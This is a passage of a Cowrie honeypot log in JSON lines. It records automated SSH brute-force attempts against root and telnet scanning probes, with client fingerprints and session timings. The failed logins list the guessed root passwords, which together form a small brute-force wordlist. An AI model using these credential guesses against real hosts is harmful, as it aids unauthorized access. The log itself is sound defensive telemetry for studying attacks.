98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:18.091835Z","src_ip":"60.165.124.241","session":"08df60958c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.253.49.43","src_port":13308,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc23cc67588","protocol":"telnet","message":"New connection: 88.253.49.43:13308 (159.203.135.109:23) [session: 8fc23cc67588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:18.557234Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd.1234","message":"login attempt [root/abcd.1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:18.815945Z","src_ip":"60.165.124.241","session":"08df60958c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.002993822097778,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:19.440454Z","src_ip":"198.58.117.211","session":"2026dd5683c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec75319cc68","protocol":"telnet","message":"New connection: 198.58.117.211:51892 (10.17.0.5:23) [session: 9ec75319cc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:19.483831Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"","message":"login attempt [GET / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:19.489105Z","src_ip":"198.58.117.211","session":"9ec75319cc68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:20.057796Z","src_ip":"60.165.124.241","session":"08df60958c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60770,"dst_ip":"10.17.0.5","dst_port":22,"session":"8537349e44ca","protocol":"ssh","message":"New connection: 60.165.124.241:60770 (10.17.0.5:22) [session: 8537349e44ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:20.293566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:20.297919Z","src_ip":"60.165.124.241","session":"8537349e44ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:20.545006Z","src_ip":"60.165.124.241","session":"8537349e44ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABcd@1234","message":"login attempt [root/ABcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:21.273221Z","src_ip":"60.165.124.241","session":"8537349e44ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:22.515234Z","src_ip":"60.165.124.241","session":"8537349e44ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35412,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef32b3cbaa34","protocol":"ssh","message":"New connection: 60.165.124.241:35412 (10.17.0.5:22) [session: ef32b3cbaa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:22.752123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:22.757053Z","src_ip":"60.165.124.241","session":"ef32b3cbaa34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:22.999161Z","src_ip":"60.165.124.241","session":"ef32b3cbaa34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaza","message":"login attempt [root/zaza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:23.738644Z","src_ip":"60.165.124.241","session":"ef32b3cbaa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005293607711792,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:24.489001Z","src_ip":"198.58.117.211","session":"9ec75319cc68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36804,"dst_ip":"10.17.0.5","dst_port":23,"session":"dff873c5cbfd","protocol":"telnet","message":"New connection: 198.58.117.211:36804 (10.17.0.5:23) [session: dff873c5cbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:24.531511Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / HTTP/1.0","password":"","message":"login attempt [OPTIONS / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:24.536889Z","src_ip":"198.58.117.211","session":"dff873c5cbfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:24.996843Z","src_ip":"60.165.124.241","session":"ef32b3cbaa34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38268,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a416c8d227c","protocol":"ssh","message":"New connection: 60.165.124.241:38268 (10.17.0.5:22) [session: 1a416c8d227c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:25.259159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:25.270071Z","src_ip":"60.165.124.241","session":"1a416c8d227c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:25.532821Z","src_ip":"60.165.124.241","session":"1a416c8d227c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweQWE@123","message":"login attempt [root/qweQWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:26.297556Z","src_ip":"60.165.124.241","session":"1a416c8d227c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:27.548484Z","src_ip":"60.165.124.241","session":"1a416c8d227c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41168,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec676199527e","protocol":"ssh","message":"New connection: 60.165.124.241:41168 (10.17.0.5:22) [session: ec676199527e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:27.799953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:27.805338Z","src_ip":"60.165.124.241","session":"ec676199527e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:28.056782Z","src_ip":"60.165.124.241","session":"ec676199527e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yn123456","message":"login attempt [root/Yn123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:28.816507Z","src_ip":"60.165.124.241","session":"ec676199527e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.00501823425293,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:29.536424Z","src_ip":"198.58.117.211","session":"dff873c5cbfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36922,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa65a53284b7","protocol":"telnet","message":"New connection: 198.58.117.211:36922 (10.17.0.5:23) [session: fa65a53284b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:29.577796Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / RTSP/1.0","password":"","message":"login attempt [OPTIONS / RTSP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:29.585983Z","src_ip":"198.58.117.211","session":"fa65a53284b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:30.071629Z","src_ip":"60.165.124.241","session":"ec676199527e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.64046025276184,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:30.197553Z","src_ip":"88.253.49.43","session":"8fc23cc67588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44310,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c402f86ff2","protocol":"ssh","message":"New connection: 60.165.124.241:44310 (10.17.0.5:22) [session: 88c402f86ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:30.305040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:30.311421Z","src_ip":"60.165.124.241","session":"88c402f86ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:30.557474Z","src_ip":"60.165.124.241","session":"88c402f86ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456@","message":"login attempt [root/qq123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:31.302528Z","src_ip":"60.165.124.241","session":"88c402f86ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:32.554600Z","src_ip":"60.165.124.241","session":"88c402f86ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47120,"dst_ip":"10.17.0.5","dst_port":22,"session":"0374063e567d","protocol":"ssh","message":"New connection: 60.165.124.241:47120 (10.17.0.5:22) [session: 0374063e567d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:32.799720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:32.805001Z","src_ip":"60.165.124.241","session":"0374063e567d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:33.046318Z","src_ip":"60.165.124.241","session":"0374063e567d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joker","message":"login attempt [root/joker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:33.767008Z","src_ip":"60.165.124.241","session":"0374063e567d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.009728908538818,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:34.587346Z","src_ip":"198.58.117.211","session":"fa65a53284b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e6559e56933","protocol":"telnet","message":"New connection: 198.58.117.211:38284 (10.17.0.5:23) [session: 4e6559e56933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:34.630242Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:35.010082Z","src_ip":"60.165.124.241","session":"0374063e567d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49778,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1d96d3999cb","protocol":"ssh","message":"New connection: 60.165.124.241:49778 (10.17.0.5:22) [session: a1d96d3999cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:35.258538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:35.262979Z","src_ip":"60.165.124.241","session":"a1d96d3999cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:35.508802Z","src_ip":"60.165.124.241","session":"a1d96d3999cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111222333444","message":"login attempt [root/Aa111222333444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:36.251217Z","src_ip":"60.165.124.241","session":"a1d96d3999cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:37.500762Z","src_ip":"60.165.124.241","session":"a1d96d3999cb","protocol":"ssh"}
